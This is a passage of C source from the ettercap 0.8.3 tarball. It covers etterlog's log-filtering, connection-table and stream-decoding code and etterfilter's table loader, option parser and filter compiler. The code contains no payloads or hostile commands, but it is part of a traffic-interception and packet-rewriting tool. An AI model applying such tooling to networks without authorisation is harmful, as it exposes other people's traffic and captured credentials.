the impulses to the last digit */ for (i = 0; i < permut; i++) { snprintf(parsed_ip, 16, "%d.%d.%d.%d", ADDR[0].values[ADDR[0].cur], ADDR[1].values[ADDR[1].cur], ADDR[2].values[ADDR[2].cur], ADDR[3].values[ADDR[3].cur]); if (inet_pton(AF_INET, parsed_ip, &ipaddr) == 0) FATAL_ERROR("Invalid IP address (%s)", parsed_ip); ip_addr_init(&tmp, AF_INET,(u_char *)&ipaddr ); add_ip_list(&tmp, target); /* give the impulse to the last octet */ ADDR[3].cur++; /* adjust the other digits as in a digital clock */ for (j = 2; j >= 0; j--) { if ( ADDR[j+1].cur >= ADDR[j+1].n ) { ADDR[j].cur++; ADDR[j+1].cur = 0; } } } for (i = 0; i < 4; i++) SAFE_FREE(addr[i]); return E_SUCCESS; } /* fill the digit structure with data */ static void add_ip(void *digit, u_int n) { struct digit *buf = digit; buf->n++; buf->values[buf->n - 1] = (u_char) n; } /* * return true if the packet conform to TARGET */ int is_target_pck(struct log_header_packet *pck) { int proto = 0; int good = 0; int all_ips = 0; /* * first check the protocol. * if it is not the one specified it is * useless to parse the mac, ip and port */ if (!EL_GBL_TARGET->proto || !strcmp(EL_GBL_TARGET->proto, "") || !strcasecmp(EL_GBL_TARGET->proto, "all")) proto = 1; if (EL_GBL_TARGET->proto && !strcasecmp(EL_GBL_TARGET->proto, "tcp") && pck->L4_proto == NL_TYPE_TCP) proto = 1; if (EL_GBL_TARGET->proto && !strcasecmp(EL_GBL_TARGET->proto, "udp") && pck->L4_proto == NL_TYPE_UDP) proto = 1; /* the protocol does not match */ if (!EL_GBL_OPTIONS->reverse && proto == 0) return 0; /* * we have to check if the packet is complying with the filter * specified by the users. */ /* determine the address family of the current host */ switch (ntohs(pck->L3_src.addr_type)) { case AF_INET: all_ips = EL_GBL_TARGET->all_ip; break; case AF_INET6: all_ips = EL_GBL_TARGET->all_ip6; break; default: all_ips = 1; } /* it is in the source */ if ( (EL_GBL_TARGET->all_mac || !memcmp(EL_GBL_TARGET->mac, pck->L2_src, MEDIA_ADDR_LEN)) && ( all_ips || cmp_ip_list(&pck->L3_src, EL_GBL_TARGET) ) && (EL_GBL_TARGET->all_port || BIT_TEST(EL_GBL_TARGET->ports, ntohs(pck->L4_src))) ) good = 1; /* it is in the dest - we can assume the address family is the same as in src */ if ( (EL_GBL_TARGET->all_mac || !memcmp(EL_GBL_TARGET->mac, pck->L2_dst, MEDIA_ADDR_LEN)) && ( all_ips || cmp_ip_list(&pck->L3_dst, EL_GBL_TARGET)) && (EL_GBL_TARGET->all_port || BIT_TEST(EL_GBL_TARGET->ports, ntohs(pck->L4_dst))) ) good = 1; /* check the reverse option */ if (EL_GBL_OPTIONS->reverse ^ (good && proto) ) return 1; return 0; } /* * return 1 if the packet conform to TARGET */ int is_target_info(struct host_profile *hst) { struct open_port *o; int proto = 0; int port = 0; int host = 0; int all_ips = 0; /* * first check the protocol. * if it is not the one specified it is * useless to parse the mac, ip and port */ if (!EL_GBL_TARGET->proto || !strcmp(EL_GBL_TARGET->proto, "") || !strcasecmp(EL_GBL_TARGET->proto, "all")) proto = 1; /* all the ports are good */ if (EL_GBL_TARGET->all_port && proto) port = 1; else { LIST_FOREACH(o, &(hst->open_ports_head), next) { if (EL_GBL_TARGET->proto && !strcasecmp(EL_GBL_TARGET->proto, "tcp") && o->L4_proto == NL_TYPE_TCP) proto = 1; if (EL_GBL_TARGET->proto && !strcasecmp(EL_GBL_TARGET->proto, "udp") && o->L4_proto == NL_TYPE_UDP) proto = 1; /* if the port is open, it matches */ if (proto && (EL_GBL_TARGET->all_port || BIT_TEST(EL_GBL_TARGET->ports, ntohs(o->L4_addr))) ) { port = 1; break; } } } /* * we have to check if the packet is complying with the filter * specified by the users. */ /* determine the address family of the current host */ switch (ntohs(hst->L3_addr.addr_type)) { case AF_INET: all_ips = EL_GBL_TARGET->all_ip; break; case AF_INET6: all_ips = EL_GBL_TARGET->all_ip6; break; default: all_ips = 1; } /* check if current host matches the filter */ if ( (EL_GBL_TARGET->all_mac || !memcmp(EL_GBL_TARGET->mac, hst->L2_addr, MEDIA_ADDR_LEN)) && (all_ips || cmp_ip_list(&hst->L3_addr, EL_GBL_TARGET) ) ) host = 1; /* check the reverse option */ if (EL_GBL_OPTIONS->reverse ^ (host && port) ) return 1; else return 0; } /* * return E_SUCCESS if the user 'user' is in the user list */ int find_user(struct host_profile *hst, char *user) { struct open_port *o; struct active_user *u; if (user == NULL) return E_SUCCESS; LIST_FOREACH(o, &(hst->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { if (strcasestr(u->user, user)) return E_SUCCESS; } } return -E_NOTFOUND; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_conn.c0000644000175000017500000002026213505247365017745 0ustar koeppeakoeppea/* etterlog -- connections module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include struct conn_list { struct ip_addr L3_src; struct ip_addr L3_dst; u_int16 L4_src; u_int16 L4_dst; u_char L4_proto; struct stream_object so; SLIST_ENTRY(conn_list) next; }; static SLIST_HEAD(, conn_list) conn_list_head; /* we can use the same struct */ static struct conn_list conn_target; /* proto */ static int insert_table(struct log_header_packet *pck, char *buf); /*******************************************/ /* * create the list of connections */ void conn_table_create(void) { struct log_header_packet pck; int ret, count = 0; u_char *buf; if (EL_GBL->hdr.type == LOG_INFO) FATAL_ERROR("LOG_INFO files don't contain connections !"); fprintf(stdout, "\nCreating the connection table...\n"); /* read the logfile */ LOOP { ret = get_packet(&pck, &buf); /* on error exit the loop */ if (ret != E_SUCCESS) break; count += insert_table(&pck, (char*)buf); SAFE_FREE(buf); } fprintf(stdout, "\nFound %d connection...\n\n", count); } /* * display the connection list */ void conn_table_display(void) { struct conn_list *c; char proto[5]; char ipsrc[MAX_ASCII_ADDR_LEN]; char ipdst[MAX_ASCII_ADDR_LEN]; SLIST_FOREACH(c, &conn_list_head, next) { switch(c->L4_proto) { case NL_TYPE_TCP: strcpy(proto, "TCP"); break; case NL_TYPE_UDP: strcpy(proto, "UDP"); break; } ip_addr_ntoa(&c->L3_src, ipsrc); ip_addr_ntoa(&c->L3_dst, ipdst); fprintf(stdout, "%s: %s:%d <--> %s:%d\n", proto, ipsrc, ntohs(c->L4_src), ipdst, ntohs(c->L4_dst)); } fprintf(stdout, "\n\n"); return; } /* * insert a new connection in the list * if it isn't already there */ static int insert_table(struct log_header_packet *pck, char *buf) { struct conn_list *c; /* the packet should be compliant to the target specifications */ if (!is_target_pck(pck)) { return 0; } /* search if the connection is alread present */ SLIST_FOREACH(c, &conn_list_head, next) { /* form source to dest */ if (c->L4_proto == pck->L4_proto && c->L4_src == pck->L4_src && c->L4_dst == pck->L4_dst && !ip_addr_cmp(&c->L3_src, &pck->L3_src) && !ip_addr_cmp(&c->L3_dst, &pck->L3_dst)) { /* add to the stream (if necessary) */ if (EL_GBL_OPTIONS->decode) stream_add(&c->so, pck, buf); return 0; } /* form dest to source */ if (c->L4_proto == pck->L4_proto && c->L4_src == pck->L4_dst && c->L4_dst == pck->L4_src && !ip_addr_cmp(&c->L3_src, &pck->L3_dst) && !ip_addr_cmp(&c->L3_dst, &pck->L3_src)) { /* add to the stream (if necessary) */ if (EL_GBL_OPTIONS->decode) stream_add(&c->so, pck, buf); return 0; } } /* not found in the list... add it */ SAFE_CALLOC(c, 1, sizeof(struct conn_list)); c->L4_proto = pck->L4_proto; c->L4_src = pck->L4_src; c->L4_dst = pck->L4_dst; memcpy(&c->L3_src, &pck->L3_src, sizeof(struct ip_addr)); memcpy(&c->L3_dst, &pck->L3_dst, sizeof(struct ip_addr)); /* init the stream object */ stream_init(&c->so); /* add to the stream (if necessary) */ if (EL_GBL_OPTIONS->decode) stream_add(&c->so, pck, buf); SLIST_INSERT_HEAD(&conn_list_head, c, next); return 1; } /* * create the filter for the connection */ void filcon_compile(char *conn) { #define MAX_TOK 5 char valid[] = "1234567890.:TCPUDtcpud"; char *tok[MAX_TOK]; char *p; int i = 0; /* sanity check */ if (strlen(conn) != strspn(conn, valid)) FATAL_ERROR("CONNECTION contains invalid chars !"); /* CONN parsing */ for(p=strsep(&conn, ":"); p != NULL; p=strsep(&conn, ":")) { tok[i++] = strdup(p); /* bad parsing */ if (i > (MAX_TOK-1)) break; } if (i != MAX_TOK) FATAL_ERROR("Incorrect number of token (PROTO:IP:PORT:IP:PORT) in CONNECTION !!"); if (!strcasecmp(tok[0], "tcp")) conn_target.L4_proto = NL_TYPE_TCP; if (!strcasecmp(tok[0], "udp")) conn_target.L4_proto = NL_TYPE_UDP; /* source and dest ports */ conn_target.L4_src = htons(atoi(tok[2])); conn_target.L4_dst = htons(atoi(tok[4])); /* source and dest ip */ if (ip_addr_pton(tok[1], &conn_target.L3_src) != E_SUCCESS) FATAL_ERROR("Invalid IP address (%s)", tok[1]); if (ip_addr_pton(tok[3], &conn_target.L3_dst) != E_SUCCESS) FATAL_ERROR("Invalid IP address (%s)", tok[3]); /* free the data */ for(i=0; i < MAX_TOK; i++) SAFE_FREE(tok[i]); } /* * return 1 if the packet is compliant with the filter */ int is_conn(struct log_header_packet *pck, int *versus) { struct conn_list tmp; int proto = 0; int good = 0; memset(&tmp, 0, sizeof(struct conn_list)); /* if the conn_target is not initialized, accept all */ if (!memcmp(&conn_target, &tmp, sizeof(struct conn_list))) return 1; /* the protocol does not match */ if (conn_target.L4_proto == pck->L4_proto) proto = 1; /* * we have to check if the packet is complying with the filter * specified by the users. */ /* from source to dest */ if ( !ip_addr_cmp(&pck->L3_src, &conn_target.L3_src) && !ip_addr_cmp(&pck->L3_dst, &conn_target.L3_dst) && pck->L4_src == conn_target.L4_src && pck->L4_dst == conn_target.L4_dst && /* the packet is from source, but we are interested only in dest */ !EL_GBL_OPTIONS->only_dest ) { good = 1; *versus = VERSUS_SOURCE; } /* from dest to source */ if ( !ip_addr_cmp(&pck->L3_src, &conn_target.L3_dst) && !ip_addr_cmp(&pck->L3_dst, &conn_target.L3_src) && pck->L4_src == conn_target.L4_dst && pck->L4_dst == conn_target.L4_src && /* the packet is from dest, but we are interested only in source */ !EL_GBL_OPTIONS->only_source ) { good = 1; *versus = VERSUS_DEST; } /* check the reverse option */ if (EL_GBL_OPTIONS->reverse ^ (good && proto) ) return 1; else return 0; return 1; } /* * decode a connection and extract files from the stream */ void conn_decode(void) { struct conn_list *c; char proto[5]; char ipsrc[MAX_ASCII_ADDR_LEN]; char ipdst[MAX_ASCII_ADDR_LEN]; int ret; /* walk thru the connections list */ SLIST_FOREACH(c, &conn_list_head, next) { switch(c->L4_proto) { case NL_TYPE_TCP: strcpy(proto, "TCP"); break; case NL_TYPE_UDP: strcpy(proto, "UDP"); break; } ip_addr_ntoa(&c->L3_src, ipsrc); ip_addr_ntoa(&c->L3_dst, ipdst); fprintf(stdout, "DECODING %s: %s:%d <--> %s:%d... ", proto, ipsrc, ntohs(c->L4_src), ipdst, ntohs(c->L4_dst)); fflush(stdout); /* extract the files from this connection */ ret = decode_stream(&c->so); if (ret == STREAM_SKIPPED) fprintf(stdout, " skipped.\n"); else fprintf(stdout, " done.\n"); } fprintf(stdout, "\n"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/0000755000175000017500000000000013505247365016666 5ustar koeppeakoeppeaettercap-0.8.3/utils/etterfilter/ef_tables.c0000644000175000017500000002003313505247365020754 0ustar koeppeakoeppea/* etterfilter -- offset tables handling Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ struct off_entry { char *name; u_int16 offset; u_int8 size; SLIST_ENTRY(off_entry) next; }; struct table_entry { char * name; u_int8 level; SLIST_HEAD (, off_entry) offsets; SLIST_ENTRY(table_entry) next; }; static SLIST_HEAD (, table_entry) table_head; struct const_entry { char *name; u_int32 value; SLIST_ENTRY(const_entry) next; }; static SLIST_HEAD (, const_entry) const_head; /* protos */ void load_tables(void); static void add_virtualpointer(char *name, u_int8 level, char *offname, u_int16 offset, u_int8 size); int get_virtualpointer(char *name, char *offname, u_int8 *level, u_int16 *offset, u_int8 *size); void load_constants(void); int get_constant(char *name, u_int32 *value); /*******************************************/ /* * load the tables for file */ void load_tables(void) { struct table_entry *t; FILE *fc; char line[128]; int lineno = 0, ntables = 0; char *p, *q, *end; char *name = NULL, *oname = NULL; u_int8 level = 0, size = 0; u_int16 offset = 0; char *tok; /* open the file */ fc = open_data("share", "etterfilter.tbl", FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot find file etterfilter.tbl"); /* read the file */ while (fgets(line, 128, fc) != 0) { /* pointer to the end of the line */ end = line + strlen(line); /* count the lines */ lineno++; /* trim out the comments */ if ((p = strchr(line, '#'))) *p = '\0'; /* trim out the new line */ if ((p = strchr(line, '\n'))) *p = '\0'; /* skip empty lines */ if (line[0] == '\0') continue; /* eat the empty spaces */ for (q = line; *q == ' ' && q < end; q++); /* skip empty lines */ if (*q == '\0') continue; /* begin of a new section */ if (*q == '[') { SAFE_FREE(name); /* get the name in the brackets [ ] */ if ((p = strchr(q, ']'))) *p = '\0'; else FATAL_ERROR("Parse error in etterfilter.conf on line %d", lineno); name = strdup(q + 1); ntables++; /* get the level in the next brackets [ ] */ q = p + 1; if ((p = strchr(q, ']'))) *p = '\0'; else FATAL_ERROR("Parse error in etterfilter.conf on line %d", lineno); level = atoi(q + 1); continue; } /* parse the offsets and add them to the table */ oname = ec_strtok(q, ":", &tok); q = ec_strtok(NULL, ":", &tok); if (q && ((p = strchr(q, ' ')) || (p = strchr(q, '=')))) *p = '\0'; else FATAL_ERROR("Parse error in etterfilter.conf on line %d", lineno); /* get the size */ size = atoi(q); /* get the offset */ for (q = p; !isdigit((int)*q) && q < end; q++); offset = atoi(q); /* add to the table */ add_virtualpointer(name, level, oname, offset, size); } /* print some nice information */ USER_MSG("\n%3d protocol tables loaded:\n", ntables); USER_MSG("\t"); SLIST_FOREACH(t, &table_head, next) USER_MSG("%s ", t->name); USER_MSG("\n"); fclose(fc); } /* * add a new virtual pointer to the table */ static void add_virtualpointer(char *name, u_int8 level, char *offname, u_int16 offset, u_int8 size) { struct table_entry *t; struct off_entry *o; int found = 0; /* search if the table already exist */ SLIST_FOREACH(t, &table_head, next) { if (!strcmp(t->name, name)) { found = 1; break; } } /* the table was not found */ if (!found) { SAFE_CALLOC(t, 1, sizeof(struct table_entry)); SAFE_CALLOC(o, 1, sizeof(struct off_entry)); /* fill the structures */ t->name = strdup(name); t->level = level; o->name = strdup(offname); o->offset = offset; o->size = size; SLIST_INSERT_HEAD(&t->offsets, o, next); SLIST_INSERT_HEAD(&table_head, t, next); } else { SAFE_CALLOC(o, 1, sizeof(struct off_entry)); /* fill the structures */ o->name = strdup(offname); o->offset = offset; o->size = size; /* t already points to the right tables */ SLIST_INSERT_HEAD(&t->offsets, o, next); } } /* * get a virtual pointer from the table */ int get_virtualpointer(char *name, char *offname, u_int8 *level, u_int16 *offset, u_int8 *size) { struct table_entry *t; struct off_entry *o; /* search the table and the offset */ SLIST_FOREACH(t, &table_head, next) { if (!strcmp(t->name, name)) { SLIST_FOREACH(o, &t->offsets, next) { if (!strcmp(o->name, offname)) { /* set the return values */ *size = o->size; *level = t->level; *offset = o->offset; return E_SUCCESS; } } return -E_NOTFOUND; } } return -E_NOTFOUND; } /* * load constants from the file */ void load_constants(void) { struct const_entry *c = NULL; FILE *fc; char line[128]; int lineno = 0, nconst = 0; char *p, *q, *end, *tok; /* open the file */ fc = open_data("share", "etterfilter.cnt", FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot find file etterfilter.cnt"); /* read the file */ while (fgets(line, 128, fc) != 0) { /* pointer to the end of the line */ end = line + strlen(line); /* count the lines */ lineno++; /* trim out the comments */ if ((p = strchr(line, '#'))) *p = '\0'; /* trim out the new line */ if ((p = strchr(line, '\n'))) *p = '\0'; /* skip empty lines */ if (line[0] == '\0') continue; /* eat the empty spaces */ for (q = line; *q == ' ' && q < end; q++); /* get the constant */ if (strstr(line, "=") && (q = ec_strtok(line, "=", &tok)) != NULL) { /* trim out the space */ if ((p = strchr(q, ' '))) *p = '\0'; SAFE_CALLOC(c, 1, sizeof(struct const_entry)); /* get the name */ c->name = strdup(q); if ((q = ec_strtok(NULL, "=", &tok)) == NULL) FATAL_ERROR("Invalid constant on line %d", lineno); /* eat the empty spaces */ for (p = q; *p == ' ' && p < end; p++); c->value = strtoul(p, NULL, 16); /* update the counter */ nconst++; } else FATAL_ERROR("Invalid constant on line %d", lineno); /* insert in the list */ SLIST_INSERT_HEAD(&const_head, c, next); } /* print some nice information */ USER_MSG("\n%3d constants loaded:\n", nconst); USER_MSG("\t"); SLIST_FOREACH(c, &const_head, next) USER_MSG("%s ", c->name); USER_MSG("\n"); fclose(fc); } /* * return the value of a constant * * the value is integer32 and in host order */ int get_constant(char *name, u_int32 *value) { struct const_entry *c; SLIST_FOREACH(c, &const_head, next) { if (!strcmp(name, c->name)) { *value = c->value; return E_SUCCESS; } } return -E_NOTFOUND; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_parser.c0000644000175000017500000000721013505247365021000 0ustar koeppeakoeppea/* etterfilter -- parsing utilities Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #ifdef HAVE_GETOPT_H #include #else #include #endif /* protos... */ static void ef_usage(void); /*********************************************/ void ef_usage(void) { fprintf(stdout, "\nUsage: %s [OPTIONS] filterfile\n", PROGRAM); fprintf(stdout, "\nGeneral Options:\n"); fprintf(stdout, " -o, --output output file (default is filter.ef)\n"); fprintf(stdout, " -t, --test test the file (debug mode)\n"); fprintf(stdout, " -d, --debug print some debug info while compiling\n"); fprintf(stdout, " -w, --suppress-warnings ignore warnings during compilation\n"); fprintf(stdout, "\nStandard Options:\n"); fprintf(stdout, " -v, --version prints the version and exit\n"); fprintf(stdout, " -h, --help this help screen\n"); fprintf(stdout, "\n\n"); ef_exit(0); } void parse_options(int argc, char **argv) { int c; static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, { "test", required_argument, NULL, 't' }, { "output", required_argument, NULL, 'o' }, { "debug", no_argument, NULL, 'd' }, { "suppress-warning", no_argument, NULL, 'w' }, { 0 , 0 , 0 , 0} }; optind = 0; while ((c = getopt_long (argc, argv, "do:ht:vw", long_options, (int *)0)) != EOF) { switch (c) { case 't': test_filter(optarg); break; case 'o': EF_GBL_OPTIONS->output_file = strdup(optarg); break; case 'd': /* use many times to encrease debug level */ EF_GBL_OPTIONS->debug++; break; case 'w': EF_GBL_OPTIONS->suppress_warnings = 1; break; case 'h': ef_usage(); break; case 'v': printf("%s %s\n", PROGRAM, EC_VERSION); ef_exit(0); break; case ':': // missing parameter fprintf(stdout, "\nTry `%s --help' for more options.\n\n", PROGRAM); ef_exit(0); break; case '?': // unknown option fprintf(stdout, "\nTry `%s --help' for more options.\n\n", PROGRAM); ef_exit(0); break; } } /* the source file to be compiled */ if (argv[optind]) { EF_GBL_OPTIONS->source_file = strdup(argv[optind]); } /* make the default name */ if (EF_GBL_OPTIONS->output_file == NULL) EF_GBL_OPTIONS->output_file = strdup("filter.ef"); return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_main.c0000644000175000017500000000677413505247365020446 0ustar koeppeakoeppea/* etterfilter -- filter compiler for ettercap content filtering engine Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define EF_GBL_FREE(x) do{ if (x != NULL) { free(x); x = NULL; } }while(0) /* globals */ extern FILE * yyin; /* from scanner */ extern int yyparse (void); /* from parser */ /* global options */ struct ec_globals *ec_gbls; struct ef_globals *ef_gbls; /*******************************************/ int main(int argc, char *argv[]) { int ret_value = 0; libettercap_init(PROGRAM, EC_VERSION); ef_globals_alloc(); select_text_interface(); libettercap_ui_init(); /* etterfilter copyright */ USER_MSG("\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); /* initialize the line number */ EF_GBL->lineno = 1; /* getopt related parsing... */ parse_options(argc, argv); /* set the input for source file */ if (EF_GBL_OPTIONS->source_file) { yyin = fopen(EF_GBL_OPTIONS->source_file, "r"); if (yyin == NULL) FATAL_ERROR("Input file not found !"); } else { FATAL_ERROR("No source file."); } /* no buffering */ setbuf(yyin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); /* load the tables in etterfilter.tbl */ load_tables(); /* load the constants in etterfilter.cnt */ load_constants(); /* print the message */ USER_MSG("\n Parsing source file \'%s\' ", EF_GBL_OPTIONS->source_file); ef_debug(1, "\n"); /* begin the parsing */ if (yyparse() == 0) USER_MSG(" done.\n\n"); else USER_MSG("\n\nThe script contains errors...\n\n"); /* write to file */ ret_value = write_output(); if (ret_value == -E_NOTHANDLED) FATAL_ERROR("Cannot write output file (%s): the filter is not correctly handled.", EF_GBL_OPTIONS->output_file); else if (ret_value == -E_INVALID) FATAL_ERROR("Cannot write output file (%s): the filter format is not correct. ", EF_GBL_OPTIONS->output_file); ef_exit(0); } /* * print debug information */ void ef_debug(u_char level, const char *message, ...) { va_list ap; /* if not in debug don't print anything */ if (EF_GBL_OPTIONS->debug < level) return; /* print the message */ va_start(ap, message); vfprintf (stderr, message, ap); fflush(stderr); va_end(ap); } void ef_globals_alloc(void) { SAFE_CALLOC(ef_gbls, 1, sizeof(struct ef_globals)); return; } void ef_globals_free(void) { SAFE_FREE(ef_gbls->source_file); SAFE_FREE(ef_gbls->output_file); SAFE_FREE(ef_gbls); return; } void ef_exit(int code) { libettercap_ui_cleanup(); ef_globals_free(); exit(code); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterfilter/ef_encode.c0000644000175000017500000003402713505247365020747 0ustar koeppeakoeppea/* etterfilter -- the actual compiler Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #ifdef HAVE_PCRE #include #endif /* protos */ static char ** decode_args(char *args, int *nargs); static char * strsep_quotes(char **stringp, const char delim); /*******************************************/ /* * search an offset and fill the filter_op structure * return E_SUCCESS on error. */ int encode_offset(char *string, struct filter_op *fop) { char *str, *p, *q, *tok; int ret; memset(fop, 0, sizeof(struct filter_op)); /* make the modifications on a copy */ str = strdup(string); /* * the offset contains at least one '.' * we are sure because the syntax parser * will not have passed it here if it is not * in the right form. */ p = ec_strtok(str, ".", &tok); q = ec_strtok(NULL, ".", &tok); /* * the assumption above is not always true, e.g.: * log(DATA,d "x.log"); * results in q == NULL. */ if (q == NULL) return -E_NOTFOUND; /* the the virtual pointer from the table */ ret = get_virtualpointer(p, q, &fop->op.test.level, &fop->op.test.offset, &fop->op.test.size); SAFE_FREE(str); return ret; } /* * assing the value of the const to the fop.value * * all the value are integer32 and are saved in host order */ int encode_const(char *string, struct filter_op *fop) { char *p; memset(fop, 0, sizeof(struct filter_op)); /* it is an hexadecimal value */ if (!strncmp(string, "0x", 2) && isxdigit((int)string[2])) { fop->op.test.value = strtoul(string, NULL, 16); return E_SUCCESS; /* it is an integer value */ } else if (isdigit((int)string[0])) { fop->op.test.value = strtoul(string, NULL, 10); return E_SUCCESS; /* it is an ip address */ } else if (string[0] == '\'' && string[strlen(string) - 1] == '\'') { struct ip_addr ipaddr; /* remove the single quote */ p = strchr(string + 1, '\''); *p = '\0'; if (ip_addr_pton(string + 1, &ipaddr) == E_SUCCESS) { switch (ntohs(ipaddr.addr_type)) { case AF_INET: /* 4-bytes - handle as a integer */ fop->op.test.value = ntohl(ipaddr.addr32[0]); break; case AF_INET6: /* 16-bytes - handle as a byte pointer */ ip_addr_cpy((u_char*)&fop->op.test.ipaddr, &ipaddr); break; default: return -E_FATAL; } } else { return -E_FATAL; } return E_SUCCESS; /* it is a string */ } else if (string[0] == '\"' && string[strlen(string) - 1] == '\"') { /* remove the quotes */ p = strchr(string + 1, '\"'); *p = '\0'; /* copy the string */ fop->op.test.string = (u_char*)strdup(string + 1); /* escape it in the structure */ fop->op.test.slen = strescape((char*)fop->op.test.string, (char*)fop->op.test.string, strlen(fop->op.test.string)+1); return E_SUCCESS; /* it is a constant */ } else if (isalpha((int)string[0])) { return get_constant(string, &fop->op.test.value); } /* anything else is an error */ return -E_NOTFOUND; } /* * parse a function and its arguments and fill the structure */ int encode_function(char *string, struct filter_op *fop) { char *str = strdup(string); int ret = -E_NOTFOUND; char *name, *args; int nargs = 0, i; char **dec_args = NULL; char *tok; memset(fop, 0, sizeof(struct filter_op)); /* get the name of the function */ name = ec_strtok(string, "(", &tok); /* get all the args */ args = name + strlen(name) + 1; /* analyze the arguments */ dec_args = decode_args(args, &nargs); /* this fop is a function */ fop->opcode = FOP_FUNC; /* check if it is a known function */ if (!strcmp(name, "search")) { if (nargs == 2) { /* get the level (DATA or DECODED) */ if (encode_offset(dec_args[0], fop) == E_SUCCESS) { /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_SEARCH; fop->op.func.string = (u_char*)strdup(dec_args[1]); fop->op.func.slen = strescape((char*)fop->op.func.string, (char*)fop->op.func.string, strlen(fop->op.func.string)+1); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "regex")) { if (nargs == 2) { int err; regex_t regex; char errbuf[100]; /* get the level (DATA or DECODED) */ if (encode_offset(dec_args[0], fop) == E_SUCCESS) { /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_REGEX; fop->op.func.string = (u_char*)strdup(dec_args[1]); fop->op.func.slen = strescape((char*)fop->op.func.string, (char*)fop->op.func.string, strlen(fop->op.func.string)+1); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); /* check if the regex is valid */ err = regcomp(®ex, (const char*)fop->op.func.string, REG_EXTENDED | REG_NOSUB | REG_ICASE ); if (err) { regerror(err, ®ex, errbuf, sizeof(errbuf)); SCRIPT_ERROR("%s", errbuf); } regfree(®ex); } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); } else if (!strcmp(name, "pcre_regex")) { #ifndef HAVE_PCRE WARNING("The script contains pcre_regex, but you don't have support for it."); #else pcre *pregex; const char *errbuf = NULL; int erroff; if (nargs == 2) { /* get the level (DATA or DECODED) */ if (encode_offset(dec_args[0], fop) == E_SUCCESS) { /* encode offset wipe the fop !! */ fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_PCRE; fop->op.func.string = strdup(dec_args[1]); fop->op.func.slen = strlen(fop->op.func.string); ret = E_SUCCESS; } else SCRIPT_ERROR("Unknown offset %s ", dec_args[0]); /* check if the pcre is valid */ pregex = pcre_compile(fop->op.func.string, 0, &errbuf, &erroff, NULL ); if (pregex == NULL) SCRIPT_ERROR("%s\n", errbuf); pcre_free(pregex); } else if (nargs == 3) { fop->opcode = FOP_FUNC; fop->op.func.op = FFUNC_PCRE; /* substitution always at layer DATA */ fop->op.func.level = 5; fop->op.func.string = strdup(dec_args[1]); fop->op.func.slen = strlen(fop->op.func.string); fop->op.func.replace = strdup(dec_args[2]); fop->op.func.rlen = strlen(fop->op.func.replace); ret = E_SUCCESS; /* check if the pcre is valid */ pregex = pcre_compile(fop->op.func.string, 0, &errbuf, &erroff, NULL ); if (pregex == NULL) SCRIPT_ERROR("%s\n", errbuf); pcre_free(pregex); } else SCRIPT_ERROR("Wrong number of arguments for function \"%s\" ", name); #endif } else if (!strcmp(name, "replace")) { if (nargs == 2) { 